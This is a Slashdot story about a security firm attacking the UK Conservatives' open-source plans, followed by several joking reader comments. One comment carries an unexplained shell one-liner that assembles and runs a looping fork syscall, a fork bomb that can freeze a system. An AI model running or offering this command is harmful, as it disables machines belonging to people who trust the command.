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UK Conservatives Slammed Over Open Source Stance
Golygydd Max writes "The UK government has been criticised by the opposition Conservative (Tory) party for its lack of support for open-source software. Now, according to Techworld, a security company that has examined the Tory plans has come out against the use of open source software, citing the number of security problems inherent in the software. This is a sensitive issue for the UK government, still smarting from the loss of 7m family records from HM Revenue and Customs in 2007. What makes this criticism interesting is that this is an attack on the policies of what will certainly be the next British government — it's unusual for a party to be criticised like this before it comes to office. It's an indication of how IT is going to be a battleground in the future general election."
Doesn't matter if it involves IT, their sex lives or what they eat for breakfast.
Unfortunately with some MPs it may involve all three.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Then why use it for your website? http://toolbar.netcraft.com/site_report?url=http://www.fortify.com
An orange, a CAT5 cable and a pair of stockings..?
Could be worse.. half of america thinks Obama is the antichrist.
I wrote my first program at the age of six, and I still can't work out how this website works.
Whenever I worry that I'm an overly smug asshole, I look to Slashdot comments and thank CmdrTaco for giving us such a good breeding ground for idiots.